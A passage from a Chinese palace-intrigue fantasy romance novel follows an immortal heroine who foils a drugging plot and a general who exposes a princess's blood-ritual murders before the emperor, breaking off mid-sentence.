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不觉得难过,也不觉得委屈。
只觉得烦。
活了太久,最讨厌的就是这些弯弯绕绕的算计。想杀就直接杀,想打就直接打,这样多好。
可惜人类不这么想。
人类就喜欢这些。
她收回目光,跟着丁灵走了。
宛楪搬回天机楼的消息,很快就传遍了京城。
一时间,议论纷纷。
“听说了吗?尚书府那个新认回来的二小姐,住进天机楼了!”
“天机楼?那个南国来的情报组织?她怎么进去的?”
“听说跟天机楼楼主是旧识,关系匪浅。”
“凭什么啊?一个庶女,怎么攀上这种关系的?”
“谁知道呢,说不定是……”
话没说完,但眼神里的意思谁都明白。
宛楪听见这些议论的时候,正在天机楼的窗前晒太阳。
丁灵坐在旁边,一边嗑瓜子一边笑:“听见了没?她们说你是我养的男宠。”
宛楪看了她一眼。
“我是女的。”
“她们不管这个。”丁灵笑得眼睛弯弯的,“她们只管编排。”
宛楪没说话。
她知道这些议论伤不到她。活了太久,人类的闲言碎语,早就穿透不了她的皮了。
只是有些感慨。
这些人,天天盯着别人,议论别人,编排别人,好像这样就能让自己过得更好似的。
可实际上呢?
不过是一群蝼蚁,在泥地里打滚,互相踩踏,以为自己是天。
萧亦熙最近很烦。
烦那个野丫头居然躲进了天机楼,让她没法下手。
烦那个野丫头居然跟天机楼楼主有关系,让她不敢轻举妄动。
还烦——昭阳郡主苏文心终于派人来召她了。
昭阳郡主的府邸,比萧亦熙想象中更奢华。
她被引进内室,看见苏文心半躺在榻上,脸色苍白,病病殃殃的,但眼神还是那么高高在上,那么让人不舒服。
“来了?”苏文心懒洋洋地开口,“坐吧。”
萧亦熙恭恭敬敬地坐下,大气都不敢出。
苏文心看了她一眼,忽然笑了一声。
“怎么,怕我?”
“臣女不敢。”萧亦熙低着头。
苏文心又笑了,笑得意味深长。
“你那个妹妹,最近挺出风头啊。”
萧亦熙的心跳漏了一拍。
“听说她住进天机楼了?”苏文心慢慢说,“跟那个天机楼楼主关系匪浅。啧啧,一个庶女,能有这种本事,不简单。”
萧亦熙不知道苏文心想说什么,只能陪着笑。
苏文心看着她,忽然话锋一转。
“那个慕酌,你喜欢?”
萧亦熙愣住了。
慕酌?那个煞星将军?
她什么时候——
“别装了。”苏文心摆摆手,“你那天在游园宴上看他的眼神,我看得清清楚楚。还有你到处打听他的事,你以为没人知道?”
萧亦熙的脸白了。
“臣女……”
“行了。”苏文心打断她,“本宫不关心你喜欢谁。本宫只是有件事想告诉你。”
她顿了顿,看着萧亦熙,慢慢露出一个笑。
“那个慕酌,有心上人了。”
萧亦熙愣住了。
“知道是谁吗?”苏文心的声音轻轻的,像猫玩老鼠,“就是你那个好妹妹,萧咏歌。”
萧亦熙的脑子里嗡的一声。
不可能。
那个野丫头?那个外面捡回来的野种?她凭什么?
“本宫有眼线。”苏文心慢悠悠地说,“那日在将军府,有人看见一个白衣女子进了他的院子,待了一整夜。第二天,那个白衣女子被人接去了天机楼。你说,会是谁?”
萧亦熙攥紧了手,指甲掐进掌心。
那个贱人。
那个野种。
她居然敢——
“本宫可以帮你。”苏文心的声音像蛇一样钻进她耳朵里,“帮你除掉她。帮你嫁给那个慕酌。只要你听话。”
124. 赤链蛊?!
萧亦熙抬起头,看着她。
苏文心笑得温柔,眼里却是冷的。
“本宫只有一个条件。”
“用你的手段,让你那个妹妹身败名裂。做到了,本宫替你在父皇面前美言,让他把慕酌赏给你。做不到——”
她顿了顿,笑容更深。
“那你就等着进宫伺候父皇吧。他老人家最近正缺人,本宫看你就挺合适。那个野丫头,查案子查到我头上了!”
萧亦熙的脸彻底白了。
进宫伺候老皇帝?
那还不如死了。
她低下头,咬着牙,一字一字说:“臣女……知道了。”
本来萧家就有意同意皇帝这个荒唐的言论,要是这个郡主在挑拨……
萧亦熙不敢深想。
三日后,宛楪又收到一张帖子。
还是萧府的,还是萧亦熙的手笔。
这回说的是什么“姐妹误会,想要解释清楚”,请她务必回府一趟,当面赔罪。
宛楪看着这张帖子,忽然笑了一下。
丁灵凑过来,看了一眼,挑了挑眉。
“又是鸿门宴?”
“嗯。”
“这回肯定更毒。”
“嗯。”
“你还去?”
宛楪把帖子放下。
“去看看她想干什么。”
丁灵看着她,欲言又止。
宛楪知道她想说什么——小心点,别中计,别让她担心。
但她什么都没说,只是笑着摆摆手:“去吧去吧,反正我跟着,出不了事。”
宛楪点点头,站起来往外走。
走到门口的时候,她停了一下。
“丁灵。”
“嗯?”
“谢谢你。”
丁灵愣了一下,然后笑起来,笑得眼睛弯弯的。
“谢什么,咱俩谁跟谁。”
宛楪没有回头,但嘴角微微弯了一下。
宛楪到萧府的时候,天已经黑了。
萧亦熙亲自在门口迎接,脸上堆满了笑,比上次还要殷勤。
“二妹妹来了!快进来快进来,姐姐等你好久了。”
宛楪看着她,淡淡地应了一声,跟着她往里走。
这回的宴席摆在花厅,比上次更精致,菜品更丰盛。
萧亦熙亲自给她斟酒,亲自给她布菜,嘴里说着什么“上次是姐姐不对”“姐姐给你赔罪”“以后我们姐妹好好相处”之类的话。
宛楪听着,淡淡地应着,筷子动了几下,酒也沾了沾唇。
然后她放下杯。
“姐姐的好意,我心领了。没什么事的话,我先走了。”
萧亦熙的脸色变了一下,但很快就笑起来。
“妹妹急什么,再坐一会儿,姐姐还有话跟你说。”
宛楪看着她。
萧亦熙被她看得有些不自在,但还是笑着,笑着,笑着给她又倒了一杯酒。
“再喝一杯,就一杯。”
宛楪低头看着那杯酒。
酒液清澈,泛着淡淡的琥珀色光。
她端起杯,放在鼻端闻了闻。
然后她放下杯。
“姐姐。”她开口,声音很淡,“这酒里,加了什么?”
萧亦熙的笑僵住了。
“妹妹说什么?姐姐听不懂。”
宛楪看着她,眼神平静得像一潭死水。
“催情的药。下得不算高明,气味都没遮干净。”
萧亦熙的脸白了。
她张了张嘴,想说什么,却什么都说不出来。
宛楪站起来。
“我知道不是你一个人的主意。是苏文心,对吧?”
萧亦熙的脸色更白了。
宛楪看着她,忽然有些想笑。
这些人类,真有意思。
以为这点药能奈何她?
她活了太久太久,这点药力,随便运功就能消解。就算不运功,她的体质也不是这点东西能撼动的。
可她没动。
她就站在那里,看着萧亦熙的脸越来越白,越来越白,白得像一张纸。
然后她开口。
“那个人,在哪儿?”
萧亦熙愣住了。
“什么……什么人?”
“你给我下药,总不会是给自己下的。”宛楪的声音很淡,“那个要来毁我清白的人,在哪儿?”
萧亦熙的脸色从白变红,从红变青。
她咬着牙,一句话都说不出来。
宛楪等了一会儿,没等到回答。
她转身往外走。
走到门口的时候,她停了一下。
“下次想害我,换个高明点的招。”
说完,她走了出去。
萧亦熙站在原地,浑身发抖。
她不知道的是,宛楪走出去的时候,体内的药力已经被压得干干净净。
她只是想知道,这些人到底想干什么。
所以她等。
等那个人出现。
然后——
把他揍一顿,扔到萧亦熙的床上。
让他们自食其果。
宛楪在萧府里慢慢走着。
她不知道那个人会在哪里出现,但她知道一定会有。
萧亦熙费这么大劲给她下药,不可能没有后手。
果然,走到一处偏院的时候,她听见了脚步声。
几个人,从暗处走出来,拦在她面前。
领头的是个油头粉面的男人,穿着讲究,一看就是哪家的纨绔子弟。他身后跟着几个家丁模样的打手。
那男人看见她,眼睛亮了一下,□□着走过来。
“哟,这就是萧府的二小姐?果然是个美人儿。”
宛楪看着他,表情没什么变化。
那男人走到她面前,伸手就要摸她的脸。
宛楪往后退了一步。
那男人手落了空,愣了一下,然后笑起来。
“还挺矜持?没事,等会儿就不矜持了。”
他一挥手,那几个家丁就要上前。
然后他们顿住了。
因为那个站在他们面前的女人,忽然不见了。
再然后,那个领头的男人飞了出去。
是真的飞。
他撞在墙上,滑下来,趴在地上,半天爬不起来。
那几个家丁还没反应过来,就一个个飞出去,叠罗汉一样叠在那个男人身上。
宛楪站在他们面前,低头看着那个领头的人。
“谁让你来的?”
那男人疼得龇牙咧嘴,却还嘴硬:“你、你知道我是谁吗?我是——”
宛楪一脚踩在他脸上。
“我问你,谁让你来的?”
那男人被她踩着,说不出话,只能呜呜地叫。
宛楪看着他,忽然觉得有些恶心。
不是因为这个人。是因为这个世界。
这种下作的手段,这种肮脏的算计,这种把人当玩物的恶心事——从苏文心到萧亦熙,从眼前这个登徒子到那些帮凶,一个个都觉得自己是个人物,一个个都在这个泥潭里打滚。
活了太久,见得太多了。
可还是觉得恶心。
她松开脚,转身要走。
然后她看见了另一个人。
月光下,一个人站在院门口,正看着她。
是慕酌。
他站在那里,身形有些不稳,呼吸有些急促,眼神有些迷蒙。
宛楪收回目光,继续往外走。
可她走了两步,又停住了。
不对。
慕酌怎么会在这里?
他是被谁引来的?是苏文心?还是萧亦熙?
不管是谁,他来了。他来赴这个约。
还是在这个时候。
他——
和那个登徒子,是一样的人。
宛楪忽然觉得有些恶心。
不是因为他想毁她清白——她根本不在乎这个。
是因为她想到了另一件事。
她的真身,还在他的心脏里。
在这样一个人的心脏里。
她回过头,看着慕酌。
慕酌也在看着她。
他的眼神很迷蒙,像是看不清她是谁。他的呼吸很急促,像是一头困兽。他的手攥着拳,像是在拼命忍着什么。
宛楪走过去。
她走到他面前,看着他。
“你知道我是谁吗?”
慕酌没有说话。他只是看着她,眼神涣散,像是想看清她,又看不清。
宛楪忽然伸手,掐住他的脖子。
她没有用力,只是掐着,感受着他颈间的脉搏。
“我的东西,在你这里。”她轻声说,声音很冷,“真恶心。”
然后她低下头,咬在他的脖子上。
牙齿刺破皮肤,血渗出来。
她开始吸。
不是吸血。是取真身。
只要把真身吸出来,她就再也不用来见这个人了。
可奇怪的是,真身没有出来。
它在他心脏里,像生了根一样,怎么都不肯出来。
宛楪皱着眉,又吸了一口。
还是没有。
她咬了咬牙,再吸——
忽然,一只手按在她后脑上。
慕酌的手。
他按着她,把她按在自己颈间,让她继续咬。
宛楪愣住了。
她想推开他,可他的手按得很紧,紧得像怕她消失。
“是你吗?”他的声音沙哑,像是从喉咙深处挤出来的,“是你……对不对?”
宛楪没有说话。
他的血流入她口中,带着淡淡的腥甜。
还有别的什么。
一种奇怪的感觉,从她唇齿间蔓延开,蔓延到她四肢百骸。
她的身体忽然有些软。
不是药。她的药效早就消了。
是别的什么。
是那颗在她心脏里待了很久、一直没动静的真身——
它在动。
它在他心脏里,隔着两个人的血肉,在轻轻颤动
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。
像是认识她。
像是等她等了很久。
宛楪忽然有些恍惚。
就在这时候,他动了。
他低下头,寻着她的唇,吻了上去。
那个吻很轻,很小心,像是在吻一个梦。
他尝到了自己的血,也尝到了她的味道。
他没有再动。就只是贴着,像是怕吓着她,又像是怕她消失。
宛楪僵住了。
活了这么久,从没有过这样的事。
她想推开他,想把他揍一顿,想——
可她没动。
因为她的真身在动。
在那一瞬间,它像是活过来一样,轻轻颤着,轻轻跳着,像是在回应什么。
宛楪推开他。
慕酌踉跄着后退了两步,靠在墙上,大口喘着气。
他的眼神比刚才清明了一些,像是那个吻让他清醒了一点。
他看着宛楪,看着她站在月光下,一身白衣,唇上沾着他的血。
他的喉结滚动了一下。
“是你。”他说,声音哑得不像话,“真的是你。”
宛楪没有说话。
她只是看着他,看着他靠在墙上的样子,看着他敞开的衣领,看着他脖子上的伤口——她咬的,还在往外渗血。
忽然她伸出手,一拳打在他肚子上。
慕酌闷哼一声,弯下腰。
宛楪又一拳打在他脸上。
他偏过头,嘴角渗出血来。
宛楪没有再打。
她站在他面前,居高临下地看着他。
“你知道我刚才想干什么吗?”
慕酌没有说话。
“我想把我的真身取出来。”她说,声音很淡,“它在你心脏里,这么多年了。”
慕酌抬起头,看着她。
他的眼神很复杂。有惊讶,有恍然,有……一种说不清的东西。
“原来……”他轻声说,“原来你一直在我这里。”
算了,跟这种糊涂的人说不清楚。宛楪没理他。
她转身要走。
可走了两步,又停住了。
她回头,看着他。
他还在那里,靠在墙上,看着她。
月光照在他身上,照出他苍白的脸,他嘴角的血,他脖颈上的伤口。
宛楪忽然有些烦躁。
她走回去,蹲下来,伸手探了探他的脉。
药效还在。比刚才更烈了。
如果不管他,他可能会死。
或者,会像那个登徒子一样,失去理智,做出恶心的事。
她不想管他。
可她想了想起身的时候,忽然顿住了。
他的心脏里,有她的真身。
他的血,刚才流进了她嘴里。
那种感觉——
宛楪皱着眉,凝神探了探他体内。
然后她愣住了。
他的心脏里,除了她的真身,还有别的什么。
一种她熟悉的东西。
一种和她同源的东西。
一种——
她自己的气息。
宛楪慢慢站起来,低头看着他。
他中了药。他是被人引来的。他不是来赴那个肮脏的约的。
他……
和她那个登徒子,不是一种人。
宛楪忽然想笑。
误会了。
可就算误会了又怎么样?
他让她生气,就是让她生气。
她伸出手,把法力渡进他体内,帮他消解药效。
药力一点一点散去,他的呼吸慢慢平稳下来,眼神慢慢清明起来。
他看着她,嘴唇动了动,想说什么。
宛楪没让他说。
她抬手,一掌劈在他后颈。
他眼睛一闭,昏了过去。
宛楪站起来,低头看着他,看了很久。
月光照在他脸上,照出他安静的睡颜,照出他嘴角的血痕,照出他脖颈上的伤口。
她看了很久很久。
慕酌醒来的时候,天已经快亮了。
他躺在天机楼偏院的墙根下,浑身酸疼,像是被人揍了一顿。
他慢慢坐起来,摸着自己的后颈,皱着眉回想昨夜的事。
药。院子。那个人。
那个人站在月光下,一身白衣,唇上沾着他的血。
那个人咬他的脖子,说什么东西取出来。
他的血里有什么吗?
他还……
然后揍了他一顿,把他打晕了。
慕酌低下头,看着自己的手。
那双手,昨夜按在她后脑上,把她按在自己颈间。
他慢慢抬起手,摸了摸自己的嘴唇。
那里,她来过。
他忽然笑了。
笑着笑着,眼眶红了。
多可笑,赤链蛊发作,偏偏在和尚书谈论进入他的阵营的时候。
还被姐姐看见了……
她一定觉得自己是登徒子,是很差劲的人吧……
125. 约定
慕酌在墙根下坐了很久。
天快亮了。东边天际泛出一点灰白,像死人脸上的最后一抹血色。他靠在那堵斑驳的墙上,后颈还在隐隐作痛——她劈的那一掌,下手真狠。
他抬起手,摸了摸脖子。
伤口还在。她咬的。牙齿刺破皮肉的地方已经结了薄薄的血痂,摸上去有些痒。
他想起她低下头咬他的样子,想起她唇上沾着他的血,想起她说的那句话——“我的东西,在你这里。”
他的嘴角慢慢弯起来。
疼,但是高兴。
她来过。她咬过他。她在他怀里睡着过。
这就够了。
可不够。他慢慢收起笑,仰头看着快要亮起来的天。还有一件事没做完。那件事做完,才算真的够了。
他想起很多年前,那个人站在他面前,月光落在她脸上,她说——
“我走之后,你要好好活着。”
他没说话。
她又说:“那些用无辜者鲜血炼制邪术的人,你帮我盯着。我一个都不会放过。你……也不会,对不对?”
他点了点头。
她笑了一下,转身走进夜色里,再也没回来过。
那是他最后一次见她。直到三天前,她醉醺醺地撞进他怀里。
慕酌按了按胸口的纸条,慢慢站起来。骨头咔咔响了几声,像是在提醒他——该回去了。
将军府的人看见他进门时的样子,都愣住了。
主子的衣领上沾着血,脖子上有咬痕,嘴角有干涸的血迹,整个人像是从什么地方死里逃生回来。
但他们不敢问。谁都不敢问。
慕酌径直走进书房,关上门。
他在椅子上坐了一会儿,然后伸手从怀里掏出那张纸条。
“平安勿念。”
四个字,她已经写过很多遍。这张是新的,他贴身放着,日日看,夜夜摸,边角已经起了毛边。
纸条上沾了几滴血。是她的,也是他的。混在一起,分不清了。
他小心地用指腹擦,擦不掉。血迹已经干了,渗进纸的纹理里。
他看了很久,然后把纸条重新折好,按回胸口。
然后他站起来,走到书架前。
书架第三层,有一本书脊磨损严重的《资治通鉴》。他把书抽出来,手伸进去,摸到一个小小的机括。
咔哒一声,书架后面的墙打开一道暗格。
暗格里只有一个东西——一本厚厚的册子。
他把册子拿出来,放在桌上,一页一页翻开。
每一页都是一个人的命。
第一页:礼部侍郎之子张文远,年十七,因当众拒绝昭阳郡主“邀约”,三日后被发现溺死在护城河里。仵作验尸说是失足落水,但张文远自幼习武,水性极好。可慕酌后来查到,张文远被打捞上来时,手腕上有极细的针孔——像是被人抽过血。
第二页:户部主事之女林婉娘,年十五,被昭阳郡主召入府中“伴游”,七日后被抬出来,人已经疯了,嘴里不停说着“我不是故意的,我不是故意的”。三日后,她吊死在自家后院。慕酌去看过她的尸身,脸色白得像纸,像是身上的血少了一半。
第三页:禁军百户陈武,年二十四,因撞见昭阳郡主府中深夜抬出麻袋,次日被调往边关,路上遇“山匪”,尸骨无存。慕酌找到他遗物的时候,发现他的佩刀上有干涸的血迹——那不是他自己的血。
第四页、第五页、第六页……
慕酌一页一页翻过去,指腹划过每一个名字。
三年,一本册子,十七条人命。
可不止十七条。
他翻到中间一页,那里记着另一件事。
五年前,京城周边开始出现失踪的流民、乞丐、孤女。
没有人查,没有人问,因为都是些“没人在意的人”。直到有一年冬天,有人在城外乱葬岗发现十几具尸首,每一具都被放干了血,身上刻着诡异的符文。
那件事最后不了了之。官府说是邪教作乱,抓了几个替死鬼砍头了事。
但慕酌不信。
他顺着那些符文查下去,查了两年,终于查到了昭阳郡主府上。
那些“没人在意的人”,被送进郡主府后院的密室,被放血,被刻符,被炼成一种东西——
药人。
用活人的血气和性命炼成的药人,可以延年益寿,可以治愈顽疾,甚至可以——起死回生。
慕酌第一次查到这件事的时候,手都在抖。
他想起了那个人的话。
“那些用无辜者鲜血炼制邪术的人,你帮我盯着。”
他盯着。盯了三年,盯出了这本册子。
翻到最后一页的时候,他停住了。
最后一页不是人命,是铁矿。
私开的铁矿,在京城三百里外的青崖山。名义上是朝廷的官矿,实际上七成的产出都流进了昭阳郡主的私库。那些铁去了哪里?打造成了什么?他还没查出来,但他知道——
那些失踪的药人,那些被刻满符文的尸首,那些从山里运出去又不知所踪的铁器,串起来,是一条死罪。
私开铁矿,形同谋反。豢养药人,天理难容。
慕酌合上册子,抬起头。
窗外的天已经亮了,日光从窗缝里漏进来,落在他脸上,照出一双通红的眼。
他昨夜一夜没睡。在墙根下坐了大半夜,走回来天就亮了。可他一点都不困。
他站起来,推开门,大步往外走。
“备马。”
三日后的早朝,金銮殿上,文武百官位列。
慕酌站在武将那一列,低着头,一动不动。
他感觉到有一道目光落在自己身上,从龙椅的方向投来,沉沉的,像压着一座山。
他没有抬头。
太监尖细的声音念着今日的议程——某地旱灾请赈,某处蛮夷来朝,某尚书告老还乡。
他都听着,但都没往心里去。
他在等。
那一道目光还在。从刚才到现在,一直没有移开。
议程一项一项过完,太监正要喊“退朝”,他出列了。
“臣,有本要奏。”
满殿的目光落在他身上。
龙椅上的皇帝抬了抬眼,那双眼睛看着慕酌,像在看一个死人。
“奏。”
慕酌从袖中取出那本册子,双手呈上。
太监接过去,呈到御前。
皇帝翻开第一页,眉头微微皱起。翻到第二页,眉头皱得更紧。翻到第三页,他的脸色已经变了。
满殿的朝臣都看着皇帝的脸色,心里七上八下。那册子里写了什么?能让陛下露出这种表情?
皇帝一页一页翻下去,翻到中间的时候,他的手忽然顿住了。
药人。
邪术。
他的眼皮跳了一下。
沉默。
漫长的沉默。
皇帝合上册子,抬起头,看着跪在殿下的慕酌。
那张脸。
皇帝看着那张脸,忽然想起另一个人。他的亲哥哥,先太子殿下。当年就跪在这个位置,跪在他面前,抬起头,用一模一样的眼神看着他——
“陛下,臣弟无罪。”
他杀了那个人。在那个雨夜,亲手把匕首捅进他的胸膛。那个人倒下的时候,眼睛还睁着,看着他,像是在问为什么。
为什么?因为那把龙椅。因为那个人是嫡长子,因为满朝文武都拥戴他,因为他活着,自己就永远只能是个“贤王”。
所以他杀了那个人。
杀了之后才发现,那个人还留下一个孩子。被人藏起来,养大,现在站在他面前,用一模一样的眼睛看着他。
皇帝想杀了他。
从那一天起,从他第一次在金銮殿上见到这个年轻人,看见那双眼睛的那一刻起,他就想杀了他。
可是他不能。
满朝文武看着。那个孩子是军功赫赫的将军,是边境将士心里的“慕将军”,是百姓口中的“那个人”。他若是莫名其妙地死了,会有多少人追问?会有多少人怀疑?
更重要的是,那几个老不死的还活着。
先帝留下的顾命大臣,那几个头发都白完了的老东西,当年跪在他面前,说“臣等愿奉陛下为新君”,可他们看他的眼神,和看他的亲哥哥不一样。
他们盯着他。盯着他的一举一动。他要是敢动那个孩子一根手指头,明天朝堂上就会有人拿当年的事做文章。
皇帝握着册子的手慢慢收紧。
他知道这里面写的是什么。昭阳那个蠢货做的那些事,他早就知道。只是懒得管,不想管——横竖死的都是些没人在意的人,闹不出什么风浪。
可慕酌把它捅出来了。
当着满朝文武的面。
皇帝看着他,忽然笑了一下。
好。很好。不愧是那个人的儿子。
“这些,可都查实了?”
他的声音很平静,平静得像一潭死水。
慕酌跪得笔直,一字一字说:“臣以项上人头担保,句句属实。十七条人命,十三具刻满符文的尸骨,青崖山私采的铁矿——臣皆有实证,可随时呈上。”
朝堂上响起一阵嗡嗡的议论声。
有人出列了。是礼部尚书,昭阳郡主母家的远亲。
“陛下,慕将军所言之事,臣闻所未闻。昭阳郡主虽有些娇纵,但绝不可能做出这等事来。这其中必有误会,还请陛下明察。”
又有人出列。是御史台的人,素来与昭阳郡主一党不对付。
“陛下,慕将军既然敢以项上人头担保,想必证据确凿。昭阳郡主这些年所作所为,朝中谁人不知?若再纵容,恐怕——”
“恐怕什么?”礼部尚书冷笑,“恐怕碍着你御史台的事了?”
“你——”
“够了。”
皇帝的声音不大,但金銮殿上立刻安静下来。
他坐在龙椅上,看着那本册子,沉默了很长时间。
最后他开口。
“来人,去公主府,把昭阳郡主……把那个庶人带来。”
庶人。
这个词一出,满殿哗然。
陛下还没审,就已经定了性——昭阳郡主,不再是公主了。
慕酌跪在那里,低着头,嘴角微微弯了一下。
半个时辰后,昭阳郡主被押到金銮殿上。
她穿着常服,发髻散乱,显然是被人从床上拖起来的。看见满殿朝臣,看见龙椅上的父皇,她的脸白了。
“父皇……”她扑过去想抱住皇帝的腿,被侍卫拦住,“父皇,儿臣冤枉!儿臣什么都没做!”
皇帝没有说话,只是把那本册子扔在她面前。
“自己看。”
昭阳郡主手忙脚乱地翻开,翻了几页,脸更白了。翻到中间那几页,她的瞳孔猛地收缩——
药人。
符文。
她怎么知道这些?
“这、这是诬陷!儿臣没有!儿臣怎么会做这种事?”她回头,恶狠狠地瞪着慕酌,“是你!是你栽赃陷害我!”
慕酌跪在那里,一动不动,连眼皮都没抬一下。
“我与你无冤无仇,你为什么要害我?”昭
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阳郡主的声音尖利起来,“我知道了,是因为那天我在游园宴上羞辱你,你怀恨在心!你公报私仇!”
慕酌终于抬起头,看了她一眼。
那眼神很平静,平静得像一潭死水。
“张文远,与你有什么仇?”他开口,声音很轻,却像刀子一样扎进昭阳郡主心里。
昭阳郡主愣住了。
“林婉娘,与你有什么仇?”慕酌继续说,“陈武,与你有什么仇?还有那十三个被放干了血、刻满了符文的流民乞丐,与你有什么仇?”
他的声音还是那么轻,但金銮殿上每一个人都听得清清楚楚。
“他们只是活着,只是路过,只是没有人在意。他们就该死吗?就该被你放干了血,炼成那些见不得人的东西吗?”
昭阳郡主的脸从白变红,从红变青。
“你、你胡说……”
“十七条人命,十三条无名尸骨。”慕酌打断她,“最小的才十四岁。他们到现在还躺在土里,等着一个公道。”
他顿了顿,忽然笑了一下。
“你不是问我为什么害你吗?”
他看着她,眼神里有什么东西在翻涌。他想起了很多年前那个夜晚,月光下那个人转身离开的背影,想起了她说的那句话——
“那些用无辜者鲜血炼制邪术的人,你帮我盯着。我一个都不会放过。你……也不会,对不对?”
他点了点头。
那是他答应她的事。
“因为有人跟我说过,”他一字一字说,“用无辜者鲜血炼制邪术的人,一个都不能放过。”
昭阳郡主往后退了一步。
满殿寂静。
皇帝坐在龙椅上,看着这一幕,脸上什么表情都没有。
他只是看着慕酌。看着那双眼睛。看着那张脸。
像。太像了。
他想起了那个雨夜,那个人倒下去的时候,也是这样的眼神——平静,坦然,像是早就知道会有这一天。
他握着龙椅扶手的手,指节泛白。
他多想现在就下令,把这个人拖出去,砍了。就像当年砍了他爹一样。
可是不行。
他感觉得到那些目光——那些站在朝堂上的老东西,那些头发都白完了的顾命大臣,那些当年跪着请他登基的人,现在正看着他。他们什么话都没说,可他们的目光落在他身上,沉沉的,像一把刀悬在头顶。
他要是动了慕酌,明天就会有人翻出当年的旧账。后天就会有人跳出来说“先太子死得不明不白”。大后天,朝堂上就不会有他坐着的地方了。
皇帝慢慢松开手。
“传旨。”
所有人跪下。
“庶人某氏,豢养私奴,逼死人命,私开铁矿,豢养药人,炼制邪术——罪无可恕。念在其年幼无知,免死,即日迁出公主府,幽禁别院,永不释放。”
昭阳郡主愣住了。
然后她疯了似的扑上去:“父皇!父皇你不能这样!母妃在天上看着你呢!你怎么能——唔——”
侍卫捂着她的嘴,把她拖了下去。
她的声音越来越远,最后消失在殿外。
满殿的朝臣跪着,大气都不敢出。
皇帝站起来,看了慕酌一眼。
“你留下。”
其他人鱼贯退出。
金銮殿空了,只剩下皇帝和慕酌。
皇帝看着他,看了很久。
那张脸。那双眼睛。那个跪着的姿态。
他慢慢走下御阶,一步一步,走到慕酌面前。
慕酌跪在那里,低着头,一动不动。
皇帝站在他面前,居高临下地看着他。
很久,很久。
“你是为了那十七条人命,还是为了别的?”
慕酌跪在那里,没有抬头。
“臣,只为那十七条人命。”
皇帝沉默了一会儿。
“只为了十七条人命,你查了三年?”
“是。”
“没人指使你?”
“没有。”
“没人给你撑腰?”
“没有。”
皇帝看着他,忽然笑了一下。
那笑容很短,很冷,像是冬夜里的一阵风。
“起来吧。”
慕酌磕了一个头,站起来,退出殿外。
他没有回头。所以他没看见皇帝站在那里,看着他的背影,眼神越来越暗。
走出殿门的时候,他抬起头,看了看天。
天很蓝,阳光很亮。
他按了按胸口的纸条,嘴角弯了一下。
他想起那个人,想起她咬他时那双迷蒙的杏仁眼,想起她靠在他怀里睡着的样子,想起她说的那句“我的东西,在你这里”。
还有那句,很多年前他说过的——
“好,我答应你。”
他答应了。他做到了。
阳光落在他脸上,照出那双微微弯起的狐狸眼。眼尾上挑着,像是高兴,又像是还有一点别的什么——
大概是,想她了。
金銮殿里,皇帝还站在那里。
他看着那道远去的背影,看着那扇缓缓合上的殿门,一动不动。
“像……”
他喃喃地说,声音很轻,只有自己能听见。
“太像了。”
他转过身,慢慢走回御阶,一步一步,走回那把龙椅前。
他站在那里,看着那把椅子,看了很久。
然后他坐下去,靠在椅背上,闭上眼睛。
殿外,阳光正好。
殿内,一片阴沉。
126. 圣旨
当天夜里,荣王来了。
他进门的时候脸色阴沉,身后跟着的两个侍卫守在门外,不许任何人靠近。
慕酌坐在书房里,像是在等他。
“你知道你在做什么吗?”荣王压着怒气,声音却还是那样温和,温和得让人脊背发凉。
慕酌站起来,行了礼:“荣王叔。”
“别跟我来这套。”荣王走近,盯着他的眼睛,“你暴露了自己。朝堂上多少人盯着你?你以为那个老皇帝不怀疑你?你以为那些昭阳郡主的旧部会放过你?”
慕酌听着,没有说话。
荣王继续说:“我教你隐忍,教你蛰伏,教你等时机。你倒好,为了一个庶人,把自己推到风口浪尖上。你”
“荣王叔。”
慕酌开口了。
他抬起头,看着荣王,眼神里有一种荣王从未见过的东西。
那东西让荣王顿住了。
“我这不是为了父皇的江山吗?”
慕酌的声音很轻,带着一点笑。
荣王愣住了。
慕酌往前走了一步,继续说:“那个贱人,私开铁矿,豢养私兵,她想要什么?她想要那个位置。她凭什么?凭她是狗皇帝的女儿?”
荣王的眼神变了。
慕酌又笑了,这回笑得更深,眼底有什么东西在翻涌。
“他们凭什么坐在那个位置上?他们就该去死。您不是一直教我这样想吗?”
荣王看着他,看着那双眼睛里翻涌的东西是恨,是疯,是某种他熟悉又陌生的东西。
他忽然想起很多年前,他从死人堆里把那个孩子刨出来的时候,那个孩子眼睛里也是这种光。
只是那时候是绝望,现在是
是什么?
“酌儿。”荣王的声音放轻了,带着一种慈祥的意味,“我知道你恨,我知道你想报仇。但你太急了。你这样会把自己搭进去。”
慕酌低下头,声音也放轻了:“荣王叔教训得是。”
荣王看着他低下去的头,沉默了一会儿。
然后他叹了口气,拍了拍慕酌的肩。
“罢了。也许你说得对。那个贱人确实该死。只是下次,先跟我商量。”
“是。”
荣王转身要走,走到门口又停下来。
“那个天机楼的女人,跟你什么关系?”
慕酌的心跳漏了一拍,但他脸上什么都没露出来。
“没什么关系。”他说,声音很平淡,“一个天机楼的客卿而已。”
荣王看了他一眼,没再说什么,走了。
门关上。
慕酌站在那里,一动不动,听着脚步声走远,听着院门开关的声音。
然后他慢慢走回椅子边,坐下来。
他按着胸口的纸条,按得很紧很紧。
“我没事。”他轻声说,对着那张纸条,对着那张纸条后面的那个人,“我不会疯的。你还在我这里。”
窗外月光照进来,落在他身上,照出他嘴角那一丝淡淡的笑。
昭阳郡主被幽禁的别院在京城西郊,一处破旧的老宅子。
院子不大,三间正房,两间厢房,墙皮剥落,窗纸破了也没人补。院子里长满了杂草,只有中间一条青砖小道被踩得干净些那是送饭的婆子每天走的路。
昭阳郡主在这里住了十天了。
十天里,她砸了屋里所有能砸的东西。花瓶、茶盏、妆奁、铜镜全都碎在地上,一片狼藉。
她骂了所有能骂的人。慕酌、萧咏歌、那个该死的父皇、那些落井下石的朝臣、那些见风使舵的宫人。
骂到嗓子哑了,骂到没力气了,她就坐在一片狼藉中,喘着气,眼神阴冷。
“慕酌……”她咬着牙念这个名字,“萧咏歌……”
这两个名字,她每天都要念很多遍。每念一遍,心里的恨就深一层。
“我要让你们不得好死。”她对着空荡荡的屋子说,“我发誓,我要让你们不得好死。”
可是怎么让?
她现在是个庶人,关在这个破院子里,连门都出不去。慕酌是手握兵权的将军,萧咏歌背后是天机楼,她拿什么跟人家斗?
她想了很久。
然后她想起了母妃。
她的生母淑妃,十年前就死了。死之前,皇帝守在她床边,握着她的手,哭了。
那个老头子,对她母妃是有愧疚的。
她冷笑起来。
父皇,你把我贬为庶人,但你欠母妃的,总要还。
她站起来,走到桌边,拿起纸笔。
信写得很短,只有几句话:
